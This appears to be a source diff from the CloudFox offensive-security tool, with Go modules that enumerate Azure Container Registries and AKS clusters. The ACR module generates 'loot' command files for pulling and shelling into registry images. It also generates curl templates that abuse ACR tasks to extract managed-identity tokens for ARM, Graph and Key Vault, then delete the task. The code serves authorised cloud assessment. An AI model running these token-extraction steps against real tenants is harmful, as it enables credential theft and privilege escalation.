// Generate and write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single subscription
|
||||
// ------------------------------
|
||||
func (m *AcrModule) processSubscription(ctx context.Context, subID string, logger internal.Logger) {
|
||||
// Get subscription name
|
||||
subName := azinternal.GetSubscriptionNameFromID(ctx, m.Session, subID)
|
||||
|
||||
// Get token for ACR client
|
||||
token, err := m.Session.GetTokenForResource(globals.CommonScopes[0])
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to get ARM token: %v", err), globals.AZ_ACR_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
cred := &azinternal.StaticTokenCredential{Token: token}
|
||||
|
||||
regClient, err := armcontainerregistry.NewRegistriesClient(subID, cred, azinternal.DefaultARMClientOptions())
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to create registries client: %v", err), globals.AZ_ACR_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
// Get resource groups (CACHED)
|
||||
resourceGroups := m.ResolveResourceGroups(subID)
|
||||
|
||||
// Process resource groups concurrently for better performance
|
||||
var rgWg sync.WaitGroup
|
||||
rgSemaphore := make(chan struct{}, 10) // Limit to 10 concurrent RGs
|
||||
|
||||
for _, rgName := range resourceGroups {
|
||||
rgWg.Add(1)
|
||||
go m.processResourceGroup(ctx, subID, subName, rgName, regClient, cred, &rgWg, rgSemaphore, logger)
|
||||
}
|
||||
|
||||
rgWg.Wait()
|
||||
|
||||
// ==================== ACR MANAGED IDENTITY TOKEN EXTRACTION ====================
|
||||
// Enumerate ACRs with managed identities (Invoke-AzACRTokenGenerator functionality)
|
||||
m.enumerateACRManagedIdentities(ctx, subID, subName, resourceGroups, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single resource group (extracted for RG-level concurrency)
|
||||
// ------------------------------
|
||||
func (m *AcrModule) processResourceGroup(ctx context.Context, subID, subName, rgName string, regClient *armcontainerregistry.RegistriesClient, cred *azinternal.StaticTokenCredential, wg *sync.WaitGroup, semaphore chan struct{}, logger internal.Logger) {
|
||||
defer wg.Done()
|
||||
|
||||
// Acquire semaphore
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
// Get region using helper function
|
||||
region := azinternal.GetResourceGroupLocation(m.Session, subID, rgName)
|
||||
|
||||
// List registries
|
||||
pager := regClient.NewListByResourceGroupPager(rgName, nil)
|
||||
for pager.More() {
|
||||
page, err := pager.NextPage(ctx)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to get registries in RG %s: %v", rgName, err), globals.AZ_ACR_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
for _, reg := range page.Value {
|
||||
m.processRegistry(ctx, reg, subID, subName, rgName, region, cred, logger)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single registry
|
||||
// ------------------------------
|
||||
func (m *AcrModule) processRegistry(ctx context.Context, reg *armcontainerregistry.Registry, subID, subName, rgName, region string, cred *azinternal.StaticTokenCredential, logger internal.Logger) {
|
||||
regName := azinternal.SafeStringPtr(reg.Name)
|
||||
loginServer := "N/A"
|
||||
adminEnabled := "No"
|
||||
adminUsername := "N/A"
|
||||
|
||||
if reg.Properties != nil {
|
||||
if reg.Properties.LoginServer != nil {
|
||||
loginServer = *reg.Properties.LoginServer
|
||||
if loginServer != "" && !strings.HasPrefix(loginServer, "https://") {
|
||||
loginServer = "https://" + loginServer
|
||||
}
|
||||
}
|
||||
if reg.Properties.AdminUserEnabled != nil && *reg.Properties.AdminUserEnabled {
|
||||
adminEnabled = "Yes"
|
||||
adminUsername = "admin"
|
||||
}
|
||||
}
|
||||
|
||||
// Extract managed identity information
|
||||
var systemAssignedIDs []string
|
||||
var userAssignedIDs []string
|
||||
|
||||
if reg.Identity != nil {
|
||||
// System-assigned identity
|
||||
if reg.Identity.PrincipalID != nil {
|
||||
principalID := *reg.Identity.PrincipalID
|
||||
systemAssignedIDs = append(systemAssignedIDs, principalID)
|
||||
}
|
||||
|
||||
// User-assigned identities
|
||||
if reg.Identity.UserAssignedIdentities != nil {
|
||||
for uaID := range reg.Identity.UserAssignedIdentities {
|
||||
userAssignedIDs = append(userAssignedIDs, uaID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Format identity fields
|
||||
systemIDsStr := "N/A"
|
||||
if len(systemAssignedIDs) > 0 {
|
||||
systemIDsStr = strings.Join(systemAssignedIDs, ", ")
|
||||
}
|
||||
|
||||
userIDsStr := "N/A"
|
||||
if len(userAssignedIDs) > 0 {
|
||||
userIDsStr = strings.Join(userAssignedIDs, ", ")
|
||||
}
|
||||
|
||||
// Cannot enumerate if no login server
|
||||
if loginServer == "" || loginServer == "N/A" {
|
||||
m.addAcrRow(AcrInfo{
|
||||
TenantName: m.TenantName, // NEW: for multi-tenant support
|
||||
TenantID: m.TenantID, // NEW: for multi-tenant support
|
||||
SubscriptionID: subID,
|
||||
SubscriptionName: subName,
|
||||
ResourceGroup: rgName,
|
||||
Region: region,
|
||||
RegistryName: regName,
|
||||
Repository: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Tag: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Digest: "UNKNOWN / INTERNAL RESOURCE",
|
||||
AdminEnabled: adminEnabled,
|
||||
AdminUsername: adminUsername,
|
||||
SystemAssignedID: systemIDsStr,
|
||||
UserAssignedIDs: userIDsStr,
|
||||
})
|
||||
m.addFallbackLoot(subID, regName, "")
|
||||
return
|
||||
}
|
||||
|
||||
// Create ACR client
|
||||
acrClient, err := azcontainerregistry.NewClient(loginServer, cred, nil)
|
||||
if err != nil {
|
||||
m.addAcrRow(AcrInfo{
|
||||
TenantName: m.TenantName, // NEW: for multi-tenant support
|
||||
TenantID: m.TenantID, // NEW: for multi-tenant support
|
||||
SubscriptionID: subID,
|
||||
SubscriptionName: subName,
|
||||
ResourceGroup: rgName,
|
||||
Region: region,
|
||||
RegistryName: regName,
|
||||
Repository: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Tag: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Digest: "UNKNOWN / INTERNAL RESOURCE",
|
||||
AdminEnabled: adminEnabled,
|
||||
AdminUsername: adminUsername,
|
||||
SystemAssignedID: systemIDsStr,
|
||||
UserAssignedIDs: userIDsStr,
|
||||
})
|
||||
m.addFallbackLoot(subID, regName, "")
|
||||
return
|
||||
}
|
||||
|
||||
// Enumerate repositories
|
||||
repoFound := false
|
||||
repoPager := acrClient.NewListRepositoriesPager(nil)
|
||||
for repoPager.More() {
|
||||
repoPage, err := repoPager.NextPage(ctx)
|
||||
if err != nil {
|
||||
m.addAcrRow(AcrInfo{
|
||||
TenantName: m.TenantName, // NEW: for multi-tenant support
|
||||
TenantID: m.TenantID, // NEW: for multi-tenant support
|
||||
SubscriptionID: subID,
|
||||
SubscriptionName: subName,
|
||||
ResourceGroup: rgName,
|
||||
Region: region,
|
||||
RegistryName: regName,
|
||||
Repository: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Tag: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Digest: "UNKNOWN / INTERNAL RESOURCE",
|
||||
AdminEnabled: adminEnabled,
|
||||
AdminUsername: adminUsername,
|
||||
SystemAssignedID: systemIDsStr,
|
||||
UserAssignedIDs: userIDsStr,
|
||||
})
|
||||
m.addFallbackLoot(subID, regName, "")
|
||||
break
|
||||
}
|
||||
|
||||
for _, repoPtr := range repoPage.Names {
|
||||
repo := safeResourceName(repoPtr)
|
||||
cleanRepo := cleanRepoName(repo)
|
||||
|
||||
// Enumerate tags
|
||||
tagPager := acrClient.NewListTagsPager(repo, nil)
|
||||
for tagPager.More() {
|
||||
tagPage, err := tagPager.NextPage(ctx)
|
||||
if err != nil {
|
||||
m.addAcrRow(AcrInfo{
|
||||
TenantName: m.TenantName, // NEW: for multi-tenant support
|
||||
TenantID: m.TenantID, // NEW: for multi-tenant support
|
||||
SubscriptionID: subID,
|
||||
SubscriptionName: subName,
|
||||
ResourceGroup: rgName,
|
||||
Region: region,
|
||||
RegistryName: regName,
|
||||
Repository: repo,
|
||||
Tag: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Digest: "UNKNOWN / INTERNAL RESOURCE",
|
||||
AdminEnabled: adminEnabled,
|
||||
AdminUsername: adminUsername,
|
||||
SystemAssignedID: systemIDsStr,
|
||||
UserAssignedIDs: userIDsStr,
|
||||
})
|
||||
m.addFallbackLoot(subID, regName, repo)
|
||||
break
|
||||
}
|
||||
|
||||
for _, tag := range tagPage.Tags {
|
||||
tagName := safeResourceName(tag.Name)
|
||||
digest := safeResourceName(tag.Digest)
|
||||
|
||||
m.addAcrRow(AcrInfo{
|
||||
TenantName: m.TenantName, // NEW: for multi-tenant support
|
||||
TenantID: m.TenantID, // NEW: for multi-tenant support
|
||||
SubscriptionID: subID,
|
||||
SubscriptionName: subName,
|
||||
ResourceGroup: rgName,
|
||||
Region: region,
|
||||
RegistryName: regName,
|
||||
Repository: repo,
|
||||
Tag: tagName,
|
||||
Digest: digest,
|
||||
AdminEnabled: adminEnabled,
|
||||
AdminUsername: adminUsername,
|
||||
SystemAssignedID: systemIDsStr,
|
||||
UserAssignedIDs: userIDsStr,
|
||||
})
|
||||
|
||||
m.addDockerLoot(subID, regName, repo, tagName, cleanRepo)
|
||||
repoFound = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If no repositories found
|
||||
if !repoFound {
|
||||
m.addAcrRow(AcrInfo{
|
||||
TenantName: m.TenantName, // NEW: for multi-tenant support
|
||||
TenantID: m.TenantID, // NEW: for multi-tenant support
|
||||
SubscriptionID: subID,
|
||||
SubscriptionName: subName,
|
||||
ResourceGroup: rgName,
|
||||
Region: region,
|
||||
RegistryName: regName,
|
||||
Repository: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Tag: "UNKNOWN / INTERNAL RESOURCE",
|
||||
Digest: "UNKNOWN / INTERNAL RESOURCE",
|
||||
AdminEnabled: adminEnabled,
|
||||
AdminUsername: adminUsername,
|
||||
SystemAssignedID: systemIDsStr,
|
||||
UserAssignedIDs: userIDsStr,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Add ACR row (thread-safe)
|
||||
// ------------------------------
|
||||
func (m *AcrModule) addAcrRow(info AcrInfo) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
m.AcrRows = append(m.AcrRows, []string{
|
||||
info.TenantName, // NEW: for multi-tenant support
|
||||
info.TenantID, // NEW: for multi-tenant support
|
||||
info.SubscriptionID,
|
||||
info.SubscriptionName,
|
||||
info.ResourceGroup,
|
||||
info.Region,
|
||||
info.RegistryName,
|
||||
info.Repository,
|
||||
info.Tag,
|
||||
info.Digest,
|
||||
info.AdminEnabled,
|
||||
info.AdminUsername,
|
||||
info.SystemAssignedID,
|
||||
info.UserAssignedIDs,
|
||||
})
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Add Docker loot (thread-safe)
|
||||
// ------------------------------
|
||||
func (m *AcrModule) addDockerLoot(subID, regName, repo, tagName, cleanRepo string) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
lf := m.LootMap["acr-commands"]
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## Docker Authentication for %s/%s:%s\n"+
|
||||
"az account set --subscription %s\n"+
|
||||
"# Login to ACR and pull image\n"+
|
||||
"az acr login --name %s --expose-token --output tsv --query accessToken | docker login %s.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin\n"+
|
||||
"\n"+
|
||||
"# Pull image\n"+
|
||||
"docker pull %s.azurecr.io/%s:%s\n"+
|
||||
"\n"+
|
||||
"# Save image to tar file\n"+
|
||||
"docker save %s.azurecr.io/%s:%s -o %s_%s_%s.tar\n"+
|
||||
"\n"+
|
||||
"# Run interactive container\n"+
|
||||
"docker run -it --rm %s.azurecr.io/%s:%s /bin/sh\n\n",
|
||||
regName, repo, tagName,
|
||||
subID,
|
||||
regName,
|
||||
regName,
|
||||
regName, repo, tagName,
|
||||
regName, repo, tagName, regName, cleanRepo, tagName,
|
||||
regName, repo, tagName,
|
||||
)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Add fallback loot (thread-safe)
|
||||
// ------------------------------
|
||||
func (m *AcrModule) addFallbackLoot(subID, regName, repoName string) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
if regName == "" {
|
||||
regName = "UNKNOWN"
|
||||
}
|
||||
if repoName == "" {
|
||||
repoName = "UNKNOWN"
|
||||
}
|
||||
|
||||
lf := m.LootMap["acr-commands"]
|
||||
if regName != "UNKNOWN" && repoName != "UNKNOWN" {
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## No image tags found for %s/%s\n"+
|
||||
"az account set --subscription %s\n"+
|
||||
"az acr repository show-tags --name %s --repository %s -o tsv\n"+
|
||||
"az acr login --name %s\n"+
|
||||
"docker pull %s.azurecr.io/%s:<TAG>\n\n",
|
||||
regName, repoName,
|
||||
subID,
|
||||
regName, repoName,
|
||||
regName,
|
||||
regName, repoName,
|
||||
)
|
||||
} else if regName != "UNKNOWN" {
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## No repositories found for registry: %s\n"+
|
||||
"az account set --subscription %s\n"+
|
||||
"az acr repository list --name %s -o tsv\n"+
|
||||
"az acr login --name %s\n\n",
|
||||
regName,
|
||||
subID,
|
||||
regName,
|
||||
regName,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Enumerate ACR Managed Identities (Invoke-AzACRTokenGenerator)
|
||||
// ------------------------------
|
||||
func (m *AcrModule) enumerateACRManagedIdentities(ctx context.Context, subID, subName string, resourceGroups []string, logger internal.Logger) {
|
||||
// Get all ACRs with managed identities
|
||||
acrIdentities, err := azinternal.GetACRsWithManagedIdentities(m.Session, subID, resourceGroups)
|
||||
if err != nil {
|
||||
if globals.AZ_VERBOSITY >= globals.AZ_VERBOSE_ERRORS {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to enumerate ACR managed identities for subscription %s: %v", subID, err), globals.AZ_ACR_MODULE_NAME)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if len(acrIdentities) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
// Generate loot content
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
identitiesLoot := m.LootMap["acr-managed-identities"]
|
||||
templatesLoot := m.LootMap["acr-task-templates"]
|
||||
|
||||
identitiesLoot.Contents += fmt.Sprintf("\n## Subscription: %s (%s)\n\n", subName, subID)
|
||||
templatesLoot.Contents += fmt.Sprintf("\n## Subscription: %s (%s)\n\n", subName, subID)
|
||||
|
||||
// Process each ACR with managed identity
|
||||
for _, acr := range acrIdentities {
|
||||
// Document the identity
|
||||
identitiesLoot.Contents += fmt.Sprintf("### ACR: %s (Resource Group: %s)\n", acr.RegistryName, acr.ResourceGroup)
|
||||
identitiesLoot.Contents += fmt.Sprintf("- **Location**: %s\n", acr.Location)
|
||||
identitiesLoot.Contents += fmt.Sprintf("- **Identity Type**: %s\n", acr.IdentityType)
|
||||
|
||||
if acr.SystemAssigned {
|
||||
identitiesLoot.Contents += "- **System-Assigned Identity**: Enabled\n"
|
||||
}
|
||||
|
||||
if len(acr.UserAssignedIDs) > 0 {
|
||||
identitiesLoot.Contents += fmt.Sprintf("- **User-Assigned Identities**: %d\n", len(acr.UserAssignedIDs))
|
||||
for _, uami := range acr.UserAssignedIDs {
|
||||
identitiesLoot.Contents += fmt.Sprintf(" - Resource ID: %s\n", uami.ResourceID)
|
||||
identitiesLoot.Contents += fmt.Sprintf(" Client ID: %s\n", uami.ClientID)
|
||||
identitiesLoot.Contents += fmt.Sprintf(" Principal ID: %s\n", uami.PrincipalID)
|
||||
}
|
||||
}
|
||||
identitiesLoot.Contents += "\n"
|
||||
|
||||
// Generate task templates for token extraction
|
||||
tokenScopes := []string{
|
||||
"https://management.azure.com/",
|
||||
"https://graph.microsoft.com/",
|
||||
"https://vault.azure.net/",
|
||||
}
|
||||
|
||||
for _, scope := range tokenScopes {
|
||||
templates := azinternal.GenerateACRTaskTemplates(acr, scope)
|
||||
|
||||
for _, template := range templates {
|
||||
templatesLoot.Contents += fmt.Sprintf("### ACR: %s - %s Identity - Scope: %s\n\n", template.RegistryName, template.IdentityType, template.TokenScope)
|
||||
templatesLoot.Contents += "**Step 1: Create ACR Task**\n\n"
|
||||
templatesLoot.Contents += fmt.Sprintf("```bash\n# Create task: %s\n", template.TaskName)
|
||||
templatesLoot.Contents += fmt.Sprintf("curl -X PUT \\\n")
|
||||
templatesLoot.Contents += fmt.Sprintf(" \"https://management.azure.com/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerRegistry/registries/%s/tasks/%s?api-version=2019-04-01\" \\\n",
|
||||
subID, acr.ResourceGroup, template.RegistryName, template.TaskName)
|
||||
templatesLoot.Contents += " -H \"Authorization: Bearer ${ACCESS_TOKEN}\" \\\n"
|
||||
templatesLoot.Contents += " -H \"Content-Type: application/json\" \\\n"
|
||||
templatesLoot.Contents += " -d '\n"
|
||||
templatesLoot.Contents += template.TaskJSON + "\n'\n```\n\n"
|
||||
|
||||
templatesLoot.Contents += "**Step 2: Execute ACR Task**\n\n"
|
||||
templatesLoot.Contents += "```bash\n# Run the task\n"
|
||||
templatesLoot.Contents += fmt.Sprintf("curl -X POST \\\n")
|
||||
templatesLoot.Contents += fmt.Sprintf(" \"https://management.azure.com/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerRegistry/registries/%s/scheduleRun?api-version=2019-04-01\" \\\n",
|
||||
subID, acr.ResourceGroup, template.RegistryName)
|
||||
templatesLoot.Contents += " -H \"Authorization: Bearer ${ACCESS_TOKEN}\" \\\n"
|
||||
templatesLoot.Contents += " -H \"Content-Type: application/json\" \\\n"
|
||||
templatesLoot.Contents += " -d '\n"
|
||||
templatesLoot.Contents += template.RunJSON + "\n'\n```\n\n"
|
||||
|
||||
templatesLoot.Contents += "**Step 3: Get Task Logs**\n\n"
|
||||
templatesLoot.Contents += "```bash\n# Get log SAS URL (replace {runId} with the run ID from step 2 response)\n"
|
||||
templatesLoot.Contents += fmt.Sprintf("curl -X POST \\\n")
|
||||
templatesLoot.Contents += fmt.Sprintf(" \"https://management.azure.com/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerRegistry/registries/%s/runs/{runId}/listLogSasUrl?api-version=2019-04-01\" \\\n",
|
||||
subID, acr.ResourceGroup, template.RegistryName)
|
||||
templatesLoot.Contents += " -H \"Authorization: Bearer ${ACCESS_TOKEN}\" \\\n"
|
||||
templatesLoot.Contents += " -H \"Content-Type: application/json\"\n\n"
|
||||
templatesLoot.Contents += "# Download the log from the SAS URL returned above\n"
|
||||
templatesLoot.Contents += "# The log will contain the access token JSON\n```\n\n"
|
||||
|
||||
templatesLoot.Contents += "**Step 4: Delete Task (cleanup)**\n\n"
|
||||
templatesLoot.Contents += "```bash\n# Delete the task\n"
|
||||
templatesLoot.Contents += fmt.Sprintf("curl -X DELETE \\\n")
|
||||
templatesLoot.Contents += fmt.Sprintf(" \"https://management.azure.com/subscriptions/%s/resourceGroups/%s/providers/Microsoft.ContainerRegistry/registries/%s/tasks/%s?api-version=2019-04-01\" \\\n",
|
||||
subID, acr.ResourceGroup, template.RegistryName, template.TaskName)
|
||||
templatesLoot.Contents += " -H \"Authorization: Bearer ${ACCESS_TOKEN}\"\n```\n\n"
|
||||
|
||||
// Add Azure CLI alternative
|
||||
templatesLoot.Contents += "**Alternative: Using Azure CLI**\n\n"
|
||||
templatesLoot.Contents += "```bash\n"
|
||||
templatesLoot.Contents += fmt.Sprintf("# Set subscription context\n")
|
||||
templatesLoot.Contents += fmt.Sprintf("az account set --subscription %s\n\n", subID)
|
||||
templatesLoot.Contents += fmt.Sprintf("# The ACR task approach requires manual REST API calls\n")
|
||||
templatesLoot.Contents += fmt.Sprintf("# See the curl commands above for the complete workflow\n")
|
||||
templatesLoot.Contents += "```\n\n"
|
||||
templatesLoot.Contents += "---\n\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Write output (AWS-style writeLoot pattern)
|
||||
// ------------------------------
|
||||
func (m *AcrModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if len(m.AcrRows) == 0 {
|
||||
logger.InfoM("No ACR registries found", globals.AZ_ACR_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Build headers
|
||||
headers := []string{
|
||||
"Tenant Name", // NEW: for multi-tenant support
|
||||
"Tenant ID", // NEW: for multi-tenant support
|
||||
"Subscription ID",
|
||||
"Subscription Name",
|
||||
"Resource Group",
|
||||
"Region",
|
||||
"ACR Name",
|
||||
"Repository",
|
||||
"Tag",
|
||||
"Digest",
|
||||
"Admin User Enabled",
|
||||
"Admin Username",
|
||||
"System Assigned Identity ID",
|
||||
"User Assigned Identity ID",
|
||||
}
|
||||
|
||||
// Check if we should split output by tenant (multi-tenant mode)
|
||||
if azinternal.ShouldSplitByTenant(m.IsMultiTenant, m.Tenants) {
|
||||
// Split into separate tenant directories
|
||||
if err := m.FilterAndWritePerTenantAuto(
|
||||
ctx,
|
||||
logger,
|
||||
m.Tenants,
|
||||
m.AcrRows,
|
||||
headers,
|
||||
"acr",
|
||||
globals.AZ_ACR_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Check if we should split output by subscription (multiple subs WITHOUT --tenant flag, single tenant)
|
||||
if azinternal.ShouldSplitBySubscription(m.Subscriptions, m.TenantFlagPresent) {
|
||||
if err := m.FilterAndWritePerSubscriptionAuto(
|
||||
ctx, logger, m.Subscriptions, m.AcrRows, headers,
|
||||
"acr", globals.AZ_ACR_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Build loot array
|
||||
loot := []internal.LootFile{}
|
||||
for _, lf := range m.LootMap {
|
||||
if lf.Contents != "" {
|
||||
loot = append(loot, *lf)
|
||||
}
|
||||
}
|
||||
|
||||
// Create output
|
||||
output := AcrOutput{
|
||||
Table: []internal.TableFile{{
|
||||
Name: "acr",
|
||||
Header: headers,
|
||||
Body: m.AcrRows,
|
||||
}},
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
// Determine output scope (single subscription vs tenant-wide consolidation)
|
||||
scopeType, scopeIDs, scopeNames := azinternal.DetermineScopeForOutput(m.Subscriptions, m.TenantID, m.TenantName, m.TenantFlagPresent)
|
||||
scopeNames = azinternal.GetSubscriptionNamesForOutput(ctx, m.Session, scopeType, scopeIDs)
|
||||
|
||||
// Write output using HandleOutputSmart (automatic streaming for large datasets)
|
||||
if err := internal.HandleOutputSmart(
|
||||
"Azure",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
scopeType,
|
||||
scopeIDs,
|
||||
scopeNames,
|
||||
m.UserUPN,
|
||||
output,
|
||||
); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.AZ_ACR_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d ACR entries across %d subscription(s)", len(m.AcrRows), len(m.Subscriptions)), globals.AZ_ACR_MODULE_NAME)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Helper functions
|
||||
// ------------------------------
|
||||
func safeResourceName(name *string) string {
|
||||
if name == nil || *name == "" {
|
||||
return "UNKNOWN / INTERNAL RESOURCE"
|
||||
}
|
||||
return *name
|
||||
}
|
||||
|
||||
func cleanRepoName(repo string) string {
|
||||
return strings.ReplaceAll(repo, "/", "_")
|
||||
}
|
||||
Executable
+747
@@ -0,0 +1,747 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/azure/services/aksService"
|
||||
azinternal "github.com/BishopFox/cloudfox/internal/azure"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command
|
||||
// ------------------------------
|
||||
var AzAksCommand = &cobra.Command{
|
||||
Use: "aks",
|
||||
Aliases: []string{"aksclusters"},
|
||||
Short: "Enumerate Azure Kubernetes Service (AKS) clusters",
|
||||
Long: `
|
||||
Enumerate AKS clusters for a specific tenant:
|
||||
./cloudfox az aks --tenant TENANT_ID
|
||||
|
||||
Enumerate AKS clusters for a specific subscription:
|
||||
./cloudfox az aks --subscription SUBSCRIPTION_ID`,
|
||||
Run: ListAks,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module struct (AWS pattern)
|
||||
// ------------------------------
|
||||
type AksModule struct {
|
||||
azinternal.BaseAzureModule // Embed common fields (15 fields)
|
||||
|
||||
// Module-specific fields
|
||||
Subscriptions []string
|
||||
Clusters []AksCluster
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type AksCluster struct {
|
||||
TenantName string // NEW: for multi-tenant support
|
||||
TenantID string // NEW: for multi-tenant support
|
||||
SubscriptionID string
|
||||
SubscriptionName string
|
||||
ResourceGroup string
|
||||
Region string
|
||||
ClusterName string
|
||||
K8sVersion string
|
||||
DNSPrefix string
|
||||
ClusterURL string
|
||||
PublicCluster string
|
||||
EntraIDAuth string
|
||||
SystemAssignedID string
|
||||
UserAssignedID string
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output struct
|
||||
// ------------------------------
|
||||
type AksOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AksOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AksOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command entry point (thin wrapper)
|
||||
// ------------------------------
|
||||
func ListAks(cmd *cobra.Command, args []string) {
|
||||
// -------------------- Use InitializeCommandContext helper --------------------
|
||||
cmdCtx, err := azinternal.InitializeCommandContext(cmd, globals.AZ_AKS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // error already logged by helper
|
||||
}
|
||||
|
||||
// -------------------- Initialize module --------------------
|
||||
module := &AksModule{
|
||||
BaseAzureModule: azinternal.NewBaseAzureModule(cmdCtx, 0),
|
||||
Subscriptions: cmdCtx.Subscriptions,
|
||||
Clusters: []AksCluster{},
|
||||
}
|
||||
|
||||
// -------------------- Execute module --------------------
|
||||
module.PrintAks(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Main module method (AWS-style)
|
||||
// ------------------------------
|
||||
func (m *AksModule) PrintAks(ctx context.Context, logger internal.Logger) {
|
||||
// Multi-tenant processing
|
||||
if m.IsMultiTenant {
|
||||
logger.InfoM(fmt.Sprintf("Multi-tenant mode: Processing %d tenants", len(m.Tenants)), globals.AZ_AKS_MODULE_NAME)
|
||||
|
||||
// Process each tenant independently
|
||||
for _, tenantCtx := range m.Tenants {
|
||||
// Temporarily set module tenant context for row creation
|
||||
savedTenantID := m.TenantID
|
||||
savedTenantName := m.TenantName
|
||||
savedTenantInfo := m.TenantInfo
|
||||
|
||||
m.TenantID = tenantCtx.TenantID
|
||||
m.TenantName = tenantCtx.TenantName
|
||||
m.TenantInfo = tenantCtx.TenantInfo
|
||||
|
||||
if m.Verbosity >= globals.AZ_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Processing tenant: %s (%s)", m.TenantName, m.TenantID), globals.AZ_AKS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Process subscriptions for this tenant
|
||||
m.RunSubscriptionEnumeration(ctx, logger, tenantCtx.Subscriptions,
|
||||
globals.AZ_AKS_MODULE_NAME, m.processSubscription)
|
||||
|
||||
// Restore tenant context
|
||||
m.TenantID = savedTenantID
|
||||
m.TenantName = savedTenantName
|
||||
m.TenantInfo = savedTenantInfo
|
||||
}
|
||||
} else {
|
||||
// Single tenant processing (existing logic)
|
||||
m.RunSubscriptionEnumeration(ctx, logger, m.Subscriptions, globals.AZ_AKS_MODULE_NAME, m.processSubscription)
|
||||
}
|
||||
|
||||
// Generate and write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single subscription
|
||||
// ------------------------------
|
||||
func (m *AksModule) processSubscription(ctx context.Context, subID string, logger internal.Logger) {
|
||||
// Get subscription name
|
||||
subName := azinternal.GetSubscriptionNameFromID(ctx, m.Session, subID)
|
||||
|
||||
// Get resource groups (CACHED)
|
||||
resourceGroups := m.ResolveResourceGroups(subID)
|
||||
|
||||
// Process resource groups concurrently for better performance
|
||||
var rgWg sync.WaitGroup
|
||||
rgSemaphore := make(chan struct{}, 10) // Limit to 10 concurrent RGs
|
||||
|
||||
for _, rgName := range resourceGroups {
|
||||
rgWg.Add(1)
|
||||
go m.processResourceGroup(ctx, subID, subName, rgName, &rgWg, rgSemaphore, logger)
|
||||
}
|
||||
|
||||
rgWg.Wait()
|
||||
}
